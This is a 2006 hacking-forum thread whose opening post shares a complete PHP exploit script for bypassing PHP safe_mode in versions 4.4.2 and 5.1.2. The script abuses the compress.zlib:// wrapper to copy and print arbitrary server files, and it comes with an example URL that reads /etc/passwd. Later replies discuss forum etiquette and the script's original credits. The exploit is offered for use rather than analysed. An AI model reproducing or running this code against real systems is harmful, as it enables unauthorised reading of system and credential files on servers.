Bypassing Safe Mod

Discussion in 'Forum for discussion of ANTICHAT' started by neM3Sis, 13 May 2006.

  1. neM3Sis

    neM3Sis Member

    Joined:
    2 May 2006
    Messages:
    15
    Likes Received:
    8
    Reputations:
    4
    Bypassing Safe Mod

    hxxp://www.site.com/lol.php?file=/etc/passwd

    lol.php :

    Code:
    <?php
    echo dirname(__FILE__);
    /*
    Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
    by Maksymilian Arciemowicz SecurityReason.Com
    cxib [at] securityreason [dot] com and max [at] jestsuper [dot] pl
    pozdro sp3x
    */
    
    
    $file=""; // File to Include... or use _GET _POST
    $tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
    
    
    
    echo "<PRE>\n";
    if(empty($file))
    {
       if(empty($_GET['file']))
       {
          if(empty($_POST['file']))
          {
             die("\nSet varibles \$tymczas, \$file or use for varible file POST, GET like ?file=/etc/passwd\n <B><CENTER><FONTCOLOR=\"RED\">SecurityReason.Com Exploit</FONT></CENTER></B>");
          }
          else
          {
             $file=$_POST['file'];
          }
       }
       else
       {
          $file=$_GET['file'];
       }
    }
    
    $temp=tempnam($tymczas, "cx");
    
    if(copy("compress.zlib://".$file, $temp))
    {
       $zrodlo = fopen($temp, "r");
       $tekst = fread($zrodlo, filesize($temp));
       fclose($zrodlo);
       echo "<B>--- Start File ".htmlspecialchars($file)."-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File".htmlspecialchars($file)." ---------------\n";
       unlink($temp);
       
       die("\n<FONT COLOR=\"RED\"><B>File".htmlspecialchars($file)." has been already loaded. SecurityReason Team;]</B></FONT>");
    }
    else
    {
       die("<FONT COLOR=\"RED\"><CENTER>Sorry... File<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have access.</CENTER></FONT>");
    }
    ?>
    enJOY ;)
     
    2 people like this.
  2. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,300
    Reputations:
    327
    good)
     
  3. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    2all:
    Please, read the rules and don't write small posts like "10x, good" etc. Try to say more on a subject.
     
  4. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    neM3Sis - I have seen it somewhere... You have copy-pasted it =)
     
    #4 limpompo, 16 May 2006
    Last edited by a moderator: 16 May 2006
  5. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    2limpompo
    English, please)
    He is French, he can't understand you.

    The credits:
     
  6. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    _http://securityreason.com/achievement_exploitalert/8
    nemezis posted with copyrites ..
     
    _________________________
  7. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,300
    Reputations:
    327
    5 years passed, cant believe this) like a one shot)
     
    1 person likes this.